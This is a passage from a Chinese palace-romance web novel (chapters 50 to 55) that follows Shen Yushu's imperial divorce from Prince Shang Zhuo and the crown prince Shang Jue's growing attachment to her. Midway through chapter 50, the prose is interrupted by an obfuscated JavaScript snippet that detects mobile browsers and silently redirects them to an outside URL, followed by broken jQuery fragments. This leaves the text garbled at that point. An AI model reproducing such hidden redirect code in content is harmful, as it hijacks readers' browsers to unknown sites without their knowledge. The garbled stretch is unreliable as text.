她不明白,尚琢到底是想要什么。 沈玉姝站起身,在平德帝面前站立:“陛下,王爷所做之事坊间皆知,相信陛下也有所耳闻。” 她声音因为紧张有些不稳:“还请陛下做主。” “不过是一些风言风语罢了。” “行了。”平德帝不虞地皱起眉。 他这个儿子倒也还算好,就是男女之事上看不清。 平德帝四指在桌上来回敲了几下:“朕既叫你二人进宫,就是已有了打算。” 他道:“和离后,会给予你一千两黄金作为补偿,但是和离后,什么该说什么不该说,你可知道?” 沈玉姝还未说话,尚琢便有些不快地拧起眉:“父皇,儿臣没有答应!” “住嘴!”平德帝大怒。 他做的这些都是为了谁?!如今还要在这丢人现眼! 他眼神微动,旁边侍卫便有眼色地上前制住尚琢。 沈玉姝没给尚琢分去视线,只悄悄地握拳,缓着心口,长身而拜:“陛下,臣女不需要补偿。” 平德帝:“哦?” 沈玉姝咬着下唇,声音有些不易觉察的抖:“臣女有一贴身侍女,是生母陪嫁侍女的家生子,与臣女一同长大,是臣女的陪嫁,王爷却不经臣女同意动用私刑,如今还在床上躺着未醒。” 说着,她声音渐渐稳了下来:“还请陛下,替臣女做主。” 我朝律法森严,禁止对下人乱用私刑,即便是宫中,主子也不能随意处罚宫女。 也因此,沈玉姝才敢提了这个要求。 平德帝有些惊讶。 他是记得沈玉姝的,有些胆小,也因此,他才选定她作太子妃。 却没想到她如今敢与他提出要求。 但也不是什么大事。 平德帝略略颔首。 尚琢行径无度,本也该罚。 他道:“那就依你,尚琢罚俸半年,禁足一月,如何?” 沈玉姝那口气骤然松了:“臣女谢过陛下。” 平德帝道:“刘全,拿纸笔。” 和离书一式两份,一张落在沈玉姝面前,一张递给尚琢。 刘全欠身:“王爷,请。” 尚琢面色沉得滴水,黑着脸接过笔墨。 他冷眼看向沈玉姝,嘴唇微动:“好得很。” 沈玉姝当没听见,只垂着眼,一笔一画地细细写着。 每个字都是她在脑中构建无数次的。 最后一句—— “解怨释结,更莫相憎;一别两宽,各生欢喜。”* 沈玉姝的记忆恍然飘回大婚那夜。 她揣着一月的期待,只在那夜得了一句“记住你的身份,不要耍小聪明”。 像一只不甚重要的宠物。 她沾着印泥,在角落落下自己的指印,递给刘全。 直到这时,她才知道,她根本没放下。 她讨厌尚琢、厌恶这个冬月,厌恶到了极致,从来没有麻木过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14986680|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 待二人互换了和离书,再落指印,和离便成了。 冬月廿五,这场持续了二十五天的婚姻告辄。 沈玉姝捧着和离书,缓步走出御书房。 她走在花园里,脚上的软底鞋踩在鹅卵石上微微有些疼,路旁的梅正是花期,沾了点雨更娇俏些。 她这才嗅到了一点自由的味道。 身穿朝服的男人自小径走来,在沈玉姝面前站立。 是尚琢。 沈玉姝挂着点笑意的脸便淡了。 那点自由的味道陡然消失。 尚琢不虞地压着眉眼,平白落些讽意:“你与本王成婚,就是为你父亲谋那点好处?” 他说着,轻扯起唇角:“你这种人,京中上下,除了本王,谁会多看你一眼,允你家那些好处?” “我这种人?好处?”沈玉姝眉梢微动,“我是什么人、得了您什么好处?” 沈玉姝话音带了嘲讽:“这话留给您自己吧,恭王殿下。” 尚琢眸光微闪:“你别后悔,我等着你来求我。” 沈玉姝指尖微蜷,撞上他那双淡漠的眼睛,一如大婚那夜。 尚琢说完便擦肩要走,再没分给沈玉姝一个眼神。 势在必得的样子。 沈玉姝咬着唇,心里跃上无数怒意。 自接亲起,醮子礼因他一句凑合出门而搁置、大婚夜里外室闹上门、回宫回门为外室早离,甚至同出席宴席都为了外室早离,还伤了秋兰。 桩桩件件,事事对她磋磨,如今和离还出言侮辱。 沈玉姝轻轻吸了吸鼻子:“你真把自己当回事,等着吧。” 她说完,丝毫没有等尚琢回应的意思,便转身跑往宫外跑。 沈玉姝脑袋懵懵的,她就是很委屈。 明明都和离了,为什么尚琢还是阴魂不散! 她胡乱出了宫,随意走着,眼前被水浸着雾蒙蒙的,也不知道走到了哪。 等她再回过神来时,发现身边是家酒肆。 沈玉姝手里抱着和离书,只愣了一瞬,便抬步推门进了酒肆。 “小二,一壶酒。” 她在一个角落坐下。 小二速度快,不过多时便摆好了酒菜。 烈酒味重,酒坛一掀便闻见了味。 小二见她是个姑娘,特地送了小盅来:“姑娘您请。” 沈玉姝低声谢过,抱着海碗咕噜喝了小半碗。 她感觉这一个月的婚,把她前半生所有没受的委屈,全尝了一遍。 她捧着碗,眼泪大颗大颗落在酒碗里,砸出一点水花。 沈玉姝酒量不算好,闻到味就有些醉,两碗下去,眼前都晕乎了,大脑也有些迟钝。 前些日子的梦,恍然爬上她的肩头。 不止是梦中右手的灼热,她的脖颈、肩头,密密麻麻都泛上热意。 她恍惚好像觉得梦里的场景清晰一点,烛光亮了些,差一点便能看见男人的脸。 是谁…… 沈玉姝呆呆睁开眼,撞上一双眼睛。 是一双像远山般、雾霭霭的眼睛。 50-60 第51章 第51章尚珏夜里梦见第一次…… 尚珏夜里梦见第一次见沈玉姝的雪夜。 那时的沈玉姝奶声奶气,像一块软糯的糕点,脸上还带着婴儿肥。 因为迷路刚哭过,脸上带着泪痕,看到他就跑上来,黏糊地拉着他的衣角,又怂又可怜地看他:“哥哥,我迷路啦,你、能带我回宴会厅吗?” 那年是他母妃去世的第二年,浑身尖锐又冷硬。 他彼时正从梅林回来,周身带着散不去的寒气,垂着眼平直地瞧着小姑娘。 良久没说话,只冷着看她。 后来他才发觉,沈玉姝第一次见他,是怕他的。 他看了她半晌,才开了金贵的口:“好。” ** 尚珏从梦中惊醒,梦境卡在最后一转视线的时候,错过了沈玉姝的表情。 当年他似乎也没注意看。 他靠在床头缓了许久,脖颈涔涔浸出一层薄汗,额角抽着发疼。 尚珏这才发觉是发了热。 他低低呼出一口气,将病倦搁置。 那梦牵出了他的无数情绪,首当其冲的就是眷恋。 首要到他都觉得心惊。 尚珏唤了陈肆进来,让他去书肆将那支白玉萧拿来。 陈肆猜到了七八分:那是德妃娘娘的遗物。 尚珏一出声,嗓子便哑的骇人:她应该会高兴的。 陈肆便不说话了,去书肆取了白玉箫来。 一来一回一个时辰,比往日迟了一炷香。 尚珏已经服了药,但他体质特殊,吃药的效应其慢,一时也未觉有几分作用。 陈肆回来后,他亲取了两只盒子,一只装了白玉萧,又从怀中取出黄铜钥匙放进到了另一只盒子里,一并给了陈肆。 尚珏满脸倦容地摆了摆手:送去吧。 陈肆一张嘴张张合合,似是没想到连黄铜钥匙都给了去。 但他是个大老粗,听着殿下命,转去了沈府。 / 初四是个晴天。 尚珏将窗推了开,从屋里正能看见院里的绿萼。 他估量了下时间,邑城那一圈疏于照看的绿萼梅,恐怕谢了干净。 这让他原就低沉不爽的情绪更闷了几分。 忽然,房门被人敲响,“殿下。”是陈肆的声音。 尚珏顺势看眼水漏,不过一个时辰。 “进。” 陈肆推门走进,手里捧着一只盒子。 是紫檀木盒。 尚珏轻微地挑了一下眉:“她收了?” 语气带着某种敲打乐不明的愉悦。 陈肆瓮声瓮气地“嗯”了声,表情有些一言难尽。 “沈小姐说,她听闻德妃娘娘擅萧,陛下特造过一支龙凤白玉萧,想来便是这支,她不欲夺了殿下念想……”陈肆顿了一下,继道,“书肆的钥匙,她会好生收着的。” 闻言,尚珏眉梢凝了一日的霜雪消散了七|八。 龙凤白玉萧收进了东宫卧房。 / 夜间,平德帝一纸圣旨将尚珏宣去了御书房。 直到辰时才从里头出来。 化雪日比前些日冷得更凶,更遑夜里,冻得几乎挠骨头。 出来时候,尚珏脸上透着掩不住的病倦气,冷风一卷,嗓子痒起一阵低咳。 一旁小太监快步走过来替他披上大氅,低声问:“殿下,奴才送您回东宫?” 回温些许的身子让尚珏舒服几分,他推着手臂,手背朝外地拒绝,“备车,去礼部。” 小太监:“是。” 因为夜重,所以尚珏到礼部时,礼部侍郎焦宜年还未到。 他便先进了屋,唤人烫了一壶酒来,逐个逐个在纸页上对着名单。 尚珏笔尖在最后一个 名上停了又停,最后暂搁了笔,沉沉呼出一口浊气,执着酒杯往椅背上一靠。 他手腕一倾,辛辣的酒味熏上鼻尖、滚入肺腑,极好的缓解了他的脑热。 许久,尚珏揉着眉心,试图驱散围绕的混沌。 房门忽然打开,卷进朔朔寒风。 焦宜年匆匆走进行礼:“下官见过太子殿下。” 尚珏疲倦地摆摆手:“起来吧。” 托着病体一日的连轴,饶是他也不免有些吃不消。 好一会,尚珏才复而睁开因为发热而熏出烫意的眼,声音微哑:“陛下意在三月春猎前先随百官带家眷,前往南郊祈福。”他将手指压在名单纸一角推出,“劳焦大人对一下,有何遗漏,祈福定在正月底,辛苦各位准备章程。” 焦宜年满口应下,凑过去通篇看下,在最后一个名字上停了又停,有些迟疑。 定随行名单,除却官职地位外,还有一个重点就是避开某些贵人的忌讳、龃龉,免得扯出闹得不好看。 但…… 他抬眼望见尚珏薄凉的眼神,心下忽然一凛。 尚珏眼睛黑沉得骇人:“还有事?” 焦宜年接下名单,躬身行礼:“下官拎旨。” / 次日正月初五,依旧是个晴天。 尚珏发热好转了几分,他备马带着陈肆上了乌南街。 原是无心的。 从东宫角门到乌南街的路,他走了十数年,最开始是德妃偷带着他从后宫某个角跑,后来德妃殁去,他便时不时自己趁着没人跑出去。 本来只想转一转,不知怎么就又到了乌南街。 直到那股熟悉的香糕味过来,尚珏才回过神。 对面就是那家关停多日的书肆。 尚珏下意识往怀中摸,去拿黄铜钥匙,摸了个空时才恍然想起—— 哦,他把钥匙送给沈玉姝了。 这个突如其来的认知不知在哪里戳到了他,让尚珏顿时染上几分愉悦,轻声笑了一下。 陈肆在一旁轻轻撇了一下唇。 简直没眼看。 尚珏似笑非笑地偏眼瞧他一眼,吓得陈肆顿时住嘴。 半晌,尚珏不知想到什么,忽然问他:“以云是不是该学艺了?” 以云是三公主,年岁最小,性子乖巧,最得平德帝和尚珏喜欢。 陈肆不明所以地想了一下:“是,陛下正在物色合适的教习娘子。” 尚珏得到满意的回答,便忽的笑了,顺着自己预估的问句接问:“那你觉得沈小姐怎么样?” 把人骗进宫里,放到他的身边。 最坏也不过是他的猫不理他个三五年,尚珏对此接受极好。 反正他待沈玉姝,向来有无数的耐心。 陈肆喉间一梗:“…………殿下觉得好就行。” 第52章 第52章他二人好像很熟,熟到自…… 沈策将祈福随行名单给沈玉姝看时,是正月廿二,离祈福还有三日。 她坐在书房圈椅里,指节在膝弯处微微蜷起,表情有些怔。 祈福时,三品以上官员家眷可随行,但先是要由礼部排演过,避开个别贵人的霉头。 首当其冲就是皇家。 沈玉姝与皇家有婚姻前系,即便是和离,也难免不好看。 她没想到礼部会填了她的名字,她也不觉得沈策有那么大的面子。 “……我也不清楚。”沈玉姝微拧着眉,听见她的声音说。 沈策倒是没说什么。 他身子微微后倾,靠在圈椅背上,皱着眉似乎在思索什么。 好一会,他的眉头骤然舒展了,听见他说:“……这祈福名单,听闻是太子殿下和礼部同定的。” 沈玉姝垂着的眼睛轻轻一闪,划过一点未名的情绪。 尚珏的话……倒是他能做的出的事。 她掌心覆上胸口,微滑了一下,哑然地笑了声。 确实出格,平德帝肯定对此有不满。 沈策还在继续说着:“恭王对你尚有余情,托着太子殿下替他搭个线也不意外,只是你怎么想呢,到时候如何面对恭王。” 沈玉姝抽离的情绪被拉回来几分。 她掀起一边眼看了他一眼,没反驳沈策的话,只略微弯着眼说:“你去见他不就好了,反正也不是一次两次。” …… 这场谈话最后不欢而散,沈玉姝提着裙摆回了芜院。 礼部的名单既已出,就没有再收回去的道理,何况离祈福只剩三日,沈玉姝不欲折腾人马为细枝末节的东西捯饬。 何况…… 如果撤改名单,不免要过太子的眼。 沈玉姝不想先落下风。 而且—— 她轻轻捂了捂胃部。 她最近总有些隐隐的难受没胃口,没心思多折腾额外的事。 祈福在邑城往西的一间佛寺,是高祖修的,听说很灵。 但路程远,加之行者女眷众多,长队的马车走的更慢,一来一往,恐怕要半月有余。 沈玉姝收拾了要带的衣物脂粉,正月廿五那天同沈策怀氏一并乘马往宫里去。 …… 他们到的时候,已经来了不少人。 沈玉姝将下车,一眼就看见高处的温慧,她正扶着腰和旁边人说着话。 温慧也看见她,脸上顿时泛了喜色,招呼她让她过去。 沈玉姝弯眼笑了下,正要动,就看见温慧旁的尚珏。 尚珏大抵也看见了她,瞳孔锁着她,落在她的肩颈,唇角含着似有深意的笑,与他惯常的笑不同,像遇见合心猎物的狼匹。 沈玉姝脚步倏然顿住,只慌掩着视线,不禁还退后了一步,与温慧做了一个口型说“等会见”。 但温慧却直接跑下来了。 她还怀着孕,这一动,身后着急忙慌跟着三五个宫女太监。 沈玉姝吓了一跳,几步走上去连忙扶住了她。 “怎么不过来?”温慧混不介意地笑着拉住沈玉姝的手问。 沈玉姝如是说:“几位皇子公主都在,我过去不太好。” 温慧说她和离后想的越发多。 沈玉姝没回答这个话,转问起秋兰和玉兰的情况。 温慧道:“玉兰拿了身契回了乡,秋兰身子还没好,我就让她在府里养着,养好了再回去。” “辛苦慧姐姐了。”沈玉姝抵着虎牙笑。 上面的尚珏早不见了身影。 沈玉姝视线从高台划过,也不觉几分失落。 想来是去忙些什么了。 她恹恹收回视线,与温慧又说了几句话,等着礼部安排马车后,便随着温慧一并上车。 一辆马车坐了四个人。 除了她和温慧之外,还有两个,一个是席雯,另一个迟迟未来。 沈玉姝没太在意,她有些恶心。 出来一劳顿,就越发明显。 温慧只当她是饿了,便拿了块糕点来给她:“路上有些远,垫垫?” 沈玉姝有些反胃,意兴阑珊地拒绝了:“不太想吃。” 她转而拿起了一颗橘子。 拨开橘子,橘皮酸涩的味道炸开,让她稍稍舒服几分。 她吃了一瓣,送了一半给温慧。 温慧笑着接过:“我怀孕之后吃什么都没胃口,橘子这些酸的倒还爱吃些。” 沈玉姝咽下橘子想了想,她也差不多。 不过她笑了一下:“酸儿辣女,慧姐姐要给殿下生个小世子了。” 二人正说着,外头传来了一点细微的动静,大抵是空缺的那人来了。 沈玉姝微微侧过眼,没太在意。 却撞上了一双水润柔弱的眼睛,像极了何之纯。 ***** 尚琢到宫里的时候,百官及家眷已经都到了,他先去见过平德帝,然后才往止马碑走。 苏进打探一圈回来,压着嗓子和他说:“殿下,沈小姐来了。” 尚琢神色微动:“去祈福?” 苏进点头:“和何大小姐一辆马车。” 尚琢先前没关注过祈福名单,不想沈玉姝居然也能在。 他原当礼部 挨着父皇,断不可能松了沈玉姝这个口,先前几次尝试将沈玉姝添上也没个准话,不想已经添上了。 他转而往家眷的方向走。 边问:“焦宜年定的?” “这个奴才就不知道了。”苏进说。 他们所在的地方离女眷止马碑不远,说话间就到了。 尚琢便止了话,找着沈玉姝的影子。 下面人密,他一时找不见,转而找了温慧,也不见影,便猜先上了马车。 “她们是哪辆车?” “头几辆吧,具体奴才没打听到——奴才去问问?” 尚琢正要应,却看见了何之纯的身影。 正月的天,她穿着一件狐裘,雪白的,披着她乌黑的发,加之她身子瘦弱,倒是更显羸弱了。 何之纯站在一辆马车旁,不知说些什么,却久久不上去。 尚琢眉头微微皱了下,拔步往那儿去。 他只当是何之纯受了欺负。 走进了,就听见何之纯细弱的声音:“我只是担心家姐的身子,想陪着姐姐罢了,姐姐身子弱……” 她话音落下,里头就传来一道毫不留情的声音:“你不是天天装得跟病西施一样,怎么现在反倒照顾人?” 何之纯微愣了一下:“……这不一样的。” “哪里不一样?难道你是装的?” 尚琢本不欲再多沾何之纯的事,毕竟他在央着沈玉姝回心转意。 他并非愚钝,知晓沈玉姝介意何之纯,便有意疏远了些。 但何之纯在他面前遭了欺负,他做不到视若无睹。 他走上前,声音淡离:“在闹什么。” 他说着,已经走到马车边下。 支摘窗撑着,透出来一股淡淡的橘子味。 尚琢抬眼对上沈玉姝那双带着细碎笑意的鹿眼。 沈玉姝笑意未变,像是只见到了无关的人。 她声音平直地打了招呼:“王爷。” 尚琢嗓间一顿。 不知他心里如何作想,他那双素日凌厉的凤眼依旧淡漠,微微颔着首,只划过一点一闪而过的情绪。 何之纯有些喜悦地开了口:“王爷您来了……” 她说完转了话音:“倒也不是什么大事,只是臣女想陪着嫡姐,去寺里路途远,臣女担心嫡姐身子撑不住。” 尚琢这才注意到,坐在马车里侧的何家嫡小姐何书仪。 她轻声问了礼:“见过恭王殿下……让殿下看笑话了。” 席雯撇了嘴:“一车就四个人,你要上来,谁走?” 何之纯视线从沈玉姝身上划过,复又垂下。 她嗓音像易折的春意,低低婉婉:“……我没有这个意思。” 尚琢原本是来给何之纯做主,但里面做了沈玉姝,他一时也就尴尬下来。 他不可能为了何之纯让沈玉姝受委屈,但他又已经来了,直接走更不像话。 他偏眼看苏进:“还有大一点的马车吗。” 苏进左觑一眼,右看一眼,说不清楚,便去礼部问了。 不多时便快慢赶回来:“礼部说马车紧张,修好的都派了出去,没有多余的了。” 沈玉姝问完礼后便一直没说话,专心致志地剥橘子。 尚琢不知道她什么时候这么爱吃橘子了。 她咽下一瓣橘子,被酸的闭了闭眼,胃里的那些恶心总算缓了几分。 她开了口:“何小姐执意上来的话,那我和宁王妃走,给你腾地方可好?” “这怎么行。” 何之纯还没说话,就被尚琢切声打断。 “有什么不行……” “这在干什么。”一道温润含着几分凉气的声音打断了沈玉姝的话头。 她指尖微顿,敛着视线不往外头看。 下头几人纷纷行礼:“见过太子殿下。” 尚珏走过来,视线在尚琢身上顿了一顿:“在家眷这处做什么,像什么话?” 尚琢没吭声,安静地应下他的话。 “在闹什么。”他声音淡淡,带着点不容置喙的逼问。 何之纯稍止了柔弱作风的话,规规矩矩地把先前对尚琢的话头又说了一遍。 沈玉姝稍偏了眼。 她想:何之纯难道觉得所有男人都吃她这一套吗? 何之纯表面是平稳的。 毕竟她的由头如何也说的过去,太子殿下仁善,当也该理解她。 气氛忽然凝了几分。 尚珏一双含着山岚的眼,挂着几分寒凉,落在何之纯身上。 他声音凉薄:“礼部没有给你安排马车吗。” 何之纯顿了顿:“……安排了,但是、” “那你在折腾什么。”尚珏敛着眼,“要孤请你?” 周遭低语的家眷纷纷住了嘴。 没人见过素日温润如玉的太子殿下这般模样,担心触着眉头,各自回了马车。 凝滞的气氛陡然打碎,尖锐地吓人。 沈玉姝偏看了眼,撞见尚珏眼底压极深的怒意。 她无声叹了口气:“太子殿下。” 尖锐的氛围忽然圆上环住。 尚珏抬眼,对上沈玉姝微微苍白的脸。 沈玉姝声音清淡,语气却含着几分熟稔的跳跃:“该到时辰了吧?” 她意指着出发时间,也给了一个走下的台阶。 尚珏沉默了几分,绷紧的眉梢略松了下去。 他低“嗯”了声,翻卷的尖锐就在这两三句话间陡然散了。 尚琢平白觉得,他二人很熟,熟到自己插不进去一句嘴。 他只当自己想多了。 第53章 第53章“南墙总是撞了才会回头…… 临了的插曲没闹出大事,没得个结论,何之纯也就悻悻离开了。 车队照常启程。 沈玉姝沉下去的那股反胃,随着马车颠簸又升了起来。 她从未有晕车的毛病,最近也不知怎么,总是恶心的不舒服。 车里几人在有一搭没一搭地聊天。 席雯可能是全忘了上次温慧给她的罚,答着话头比谁都快。 沈玉姝听着她们胡乱的对话,手上捂着肚子,头一点一点靠在厢壁睡了过去。 她做了个梦。 又是除夕夜的风雪,她站在书肆门前。 这是沈玉姝与尚珏分手以来,第八次在梦里站在这间书肆门前。 她先前从未推开这扇门,只在雪夜站到天明,等到白雪消融梦境散开。 今天大抵是又见了尚珏。 梦里的她选择推开了门。 里头的蝴蝶一层又一层卷出来,独独没见到造冬日蝴蝶的人。 有只蝴蝶说“他说你想见他,他就不来扰你的清梦了”。 沈玉姝忽然从梦中惊醒了,眼前还好似有蝴蝶的影子。 她在座位上坐了好一会,才反应过来车里没有人、马车未在行,窗外已是黄昏。 估计是到了驿站修整,车里还贴心地烧了一盆炭,担心她睡在里头着凉。 沈玉姝失笑,起身扑灭炭火后先整过衣领,遮住里头坠子似的绳,才掀帘下了马车。 一股风扑上来,夹杂着雪,平白的和梦里连成一片。 沈玉姝怔了好一会,远远的看见屋檐下站着两道身影。 隔着厚厚的雪雾,沈玉姝看不真切,只隐约看见高一些的人吩咐了什么,另一人便执着什么长管似的东西走过来。 直到走近了,沈玉姝才认出是陈肆。 陈肆在她前头几尺远的距离站立,抱拳行礼:“雪天路滑,小姐仔细脚下,莫着了凉。” 他递过来一柄长伞,天青色的,勾着沈玉姝不认识的花纹。 沈玉姝盯着烟墨色的手柄怔了一会,复抬起眼去看檐下。 先前站着人的地方,已经空无一物了。 沈玉姝说不清是个什么情绪,只接过伞,不卑不亢地说了谢。 ***** 尚琢一早被平德帝 叫到了临腾出来的书房中。 里头点着不太明亮的烛火,平德帝的桌上堆着矮矮几本折子。 因为出来祈福的缘故,公务多少都推了。 尚珏也在里头。 他穿着一匹云水蓝大氅,身形颀长,烛火投下一片阴影,带着他的影子洒在桌上。 尚琢收回视线,他声调一如既往的寒凉,走进去规矩不错地行了礼。 “父皇,二哥。” 平德帝没有第一时间回应,而是不紧不慢地看完手上折子,批复过再将折子折叠规整后,才抬起眼,看着自己这个三儿子。 尚琢琥珀色的眼睛不闪地看着平德帝,许久才出声提醒“父皇”。 平德帝像是才回神一样,“嗯”了声,点着圈椅扶手:“朕听闻,沈家小姐也来了?” “是。”尚琢道,“父皇您不知情么?” 平德帝并无插手尚珏手上公务的先例和意向,他一直信任这个儿子,不知怎的突然犯了这么个不大不小的错,所以他先找了尚琢。 但看起来,尚琢并不知情。 于是他转了话头。 “今日在女眷地,闹的事朕都知晓了。”他的眼睛和尚琢如出一辙,上涨的年岁并未让琥珀色质感的眼睛浑浊,反而多了毒辣的锐利。 他就这么丝毫不掩地看着尚琢,“你一个皇子,堂而皇之的到女眷里掺和别人的事,这像是皇家子孙应该做的事么。” 平德帝声音平淡。 平心而论,比起尚珏,尚琢和平德帝更像。 两人的视线在空中轻轻碰撞。 尚琢避也不避地看着他鼻梁横处。 他早猜到今日谈话与白日事脱不开干系,否则也不至于在他要去女眷处寻人的时候,忽然遣着刘全催促他来了书房。 尚琢一言不发的看着他,良久才动了唇:“看人。” 看对象是谁。 他并未打算遮掩。 平德帝轻扯了一下嘴角:“优柔寡断、拖泥带水,你倒是告诉朕,你打算做什么。” 尚琢不言。 他知晓自己在沈玉姝和何之纯中间摇摆。 他的心里像放了一把称,他站在中间,两边放着两个人,稍动了任何一步都不免影响平衡。 平德帝对自己这个儿子心里想什么一清二楚。 丽妃到底血脉上差一点,生的儿子带了妇人之仁。 他不可能容许自己的儿子和已经和离的王妃不清不楚,传出去该怎么谈论皇家这段密辛,他自问他脸上带不得光。 平德帝道:“你连自己都不知道自己要做什么,就平白掺和女眷间的事,今日若非太子在,你打算怎么做?” 他继道:“尚琢,你别忘了,你是已经和沈玉姝和离了的,她有什么好的让你在这犯浑。” 一旁从未说话的尚珏忽然轻掀起眼皮,弯身给平德帝沏了茶,咕咕冒着热气。 这个打岔,让平德帝一时断了与沈玉姝的话头。 他呷了口茶,沉眼看向尚琢,结束了先前的话头:“你倒是说说,朕的这个恭王,有什么高见。” 尚琢知晓,这话他不得不应了。 他轻舒了口气,浅淡的唇动了一动:“儿臣要与沈玉姝再成婚。” 闻言,尚珏挑了一下眉头,角落里侍奉的刘全都吓了一跳,拂尘险些掉地上。 “再成婚?”平德帝把他的话复述一遍,一字一句咬得深切,隐透出怒意。 “刘全,本朝可有这个先例?” “没……并无先例。” 听见刘全的话,尚琢神色变也未变:“凡事都有第一次。” 平德帝怒骂:“混账!” 尚琢掀袍跪下:“儿臣并非心血来潮,而是深思……” “闭嘴。”平德帝额角一突一突地跳。 “太子,你可听见恭王在说什么了?”他抬眼看去尚珏。 “听见了。”尚珏淡道。 “你怎么看。”平德帝声音平稳地问。 一时间,屋内三个人的视线都落在端方站着的尚珏身上。 良久,他似笑非笑地抬起眼,扯什么唇,嗓音带着点微凉:“三弟要试,便让他试试便是,南墙总是该撞了才会死心。” 第54章 第54章“听闻沈小姐宫外有一红…… 这时候沈玉姝适才到临时居所外面。 她正要进去,就听里面传来一道细柔的声音 ——“我来不会打扰你们吧?” 沈玉姝要进去的动作便忽的顿住了。 跟在她身侧的陈肆也听见了动静,不动声色地看了沈玉姝一眼。 沈玉姝很难形容她对何之纯的感觉。 不是讨厌,只是看到她的时候,就不免联想到尚琢。 很恰巧的,她不喜欢看见尚琢。 沈玉姝轻轻呼了一口气,偏头跟陈肆说了这一路来的第一句话:“还有空余的房间吗?” 陈肆想了一下:“有,但是没收拾,住不了人。” 沈玉姝说:“劳您遣派人收拾一下,稍微打扫就好。” 陈肆说知道了。 他正要走,大概是看见了外面下得越发大的雪,便问:“小姐如果不介意的话,属下可以给您安排个房间,临时住一下取暖,等收拾好了再……” “尚珏的房间?”沈玉姝问。 陈肆张了一下嘴。 “那还是算了。”沈玉姝弯着眼笑了一下,声音脆生生的,“还是麻烦你快些收拾好了。” 沈玉姝说完挥挥手,没再迟疑地推开房门。 她打起几分精神,走进去坐在一张空床上。 温慧因着怀孕的缘故,没和她们混住,里面就只有何书仪和席雯,还有一个不请自来的何之纯。 听到动静,何之纯抬起头,露出一个温和的笑:“我不请自来,不会影响到你吧?” 沈玉姝理了一下被风吹得有些乱的衣服:“我说会,你就会走吗?” 何之纯笑了声没答这个话头,她坐在何书仪的床边,饶有兴致地看着沈玉姝。 “我俩,一个月没见了?你好像没怎么变呢。” 什么都撑起的精神都遮不住的恹气。 和十一月和离那些时日的模样如出一辙。 沈玉姝对此心如明镜。 她快刀斩乱麻地和尚珏分了手,心里第一个喊着留恋。 所以她对何之纯的话无从反驳。 她揣着手,用衣服里那聊胜于无的温度暖着手,边笑着说:“你倒是变化挺大的。” 那时候何之纯大抵以为,自己坐上恭王妃的位置,就是时间问题。 不想现在一个问题接一个问题。 何之纯脸色发青,咬着牙关不善地看了她好一会,忽然展颜一笑:“沈小姐……” “叩叩” “沈小姐在吗?” 外面传来宫女的声音。 沈玉姝偏着头往门口看去。 她进来的时间并不算很久,陈肆收拾的房间断不可能这么快收拾好。 ……那会是谁呢? 沈玉姝这么想着,应了往门口走去,从内拉开了门,和一个小宫女对上视线。 她手里提着一个食盒状的东西,紫檀木的。 不知是哪里戳到了什么点,沈玉姝的嘴边的问话忽然如丘而止。 宫女将紫檀木盒递过来:“沈小姐还未用晚膳吧,是刚做好的,给您送来。” 她没说主子的吩咐,但沈玉姝一清二楚是尚珏。 他惯爱用紫檀木。 这像是他们的某种默契,隐秘地昭示心照不宣的秘密。 是试探吗?沈玉姝想。 大抵只是给她送个饭。 “沈小姐?”宫女出声提醒。 沈玉姝回神,“啊”了声:“知道了,但是我今夜没胃口,就不吃了,劳烦你了。” 宫女愣了一下,随即教养良好地收回手,微微福身道了声叨扰,“奴婢告退。” 沈玉姝复而将门关上坐回床边。 何之纯在一旁将全程看了清楚。 她带着点兴致地问:“这是宫里的宫女吧,我好像没见过她呢。” 沈玉姝淡笑:“宫里的每个人你都见过?” “尚琢身边的我都见过。”何之纯说。 大抵是闻到了何之纯的来者不善,席雯和何书仪低低的交谈声不知道什么时候停了,鼻观心地不说话。 何之纯话音落下,抬起头看着沈玉姝,声音有些脆:“外头的风言风语不作数,但是啊,我听闻,前恭王妃在外有一个……关系极好的男人,出双入对。” 她歪着脑袋笑:“真的吗?” ***** 尚珏从书房出来,不知是不是里面太热的缘故,他从衣襟缝隙里 都透着一股燥热的气。 让他无端地烦躁。 尚琢跟在他身后走出:“二皇兄那话是什么意思。” 尚珏似笑非笑地瞥他一眼。 他比尚琢稍高一些,垂着眼看他的眼睛时,平日里温润的眼睛分外压人些。 “你觉得呢?”尚珏稍挑着眉。 他稍走近了一步,忽的抬手欺近尚琢。 尚琢绷着下颌,忌惮着他突如其来的动作。 尚珏笑一声曲指挥扫掉他肩膀上适才落下的雪:“夜深了,早些回去吧。” 他说着便毫无留恋地转身走进雪夜。 陈肆在边上等了有一会,连忙走上来替他撑着伞遮住雪,临了走时,还不住地回头看眼身后的尚琢。 尚珏走在半个身位前,却像身后长了眼睛般笑了声:“怎么,孤送你过去?” 陈肆连忙摇头:“不敢不敢。” 尚珏对此未置一词,而是伸手:“手帕。” 陈肆递过去,看着尚珏将右手手指一根根擦得干净分明。 他想了一会,将何之纯在沈玉姝房间的事说了。 尚珏眉头微挑,说不上是什么情绪。 好一会,他随手将擦过手的手帕往旁的一扔,淡声:“那就去看看好了。” 陈肆一愣,想劝的话到嘴边,却在看见太子淡漠生冷的面色时尽数吞了下去。 他不知道在书房里发生了什么,只靠着熟悉,能猜到是恭王惹了太子生气,大抵还是与沈小姐有关。 他有些无奈,但做奴才的,对主子哪有规劝的道理。 何况太子向来是个有主意的,否则……也不会冒着大不韪和沈玉姝在一块。 这么想着,他只能快步跟着尚珏往沈玉姝的房间走。 / 何之纯的话落在不大的空间里,三人听了真切。 席雯不可置信的看着沈玉姝,似是没想到她的大胆。 和离后明面上是自由身,但那毕竟是皇家,而且和离到现在不过才一月,说出去总是不好听。 沈玉姝眉间微挑:“证据呢?” 何之纯托着腮笑:“证据?放浪的证据?这说出去可不太好听吧,我说你当初怎么那么急着和离,原来是看上了外头的野男人。” “何侍郎家的家风教养就是这样的?” 何之纯话音落下,寒凉的声线骤然打断了她还欲往下的话头。 她的声音戛然而止。 第55章 第55章“夫人你没有那么抗拒我…… 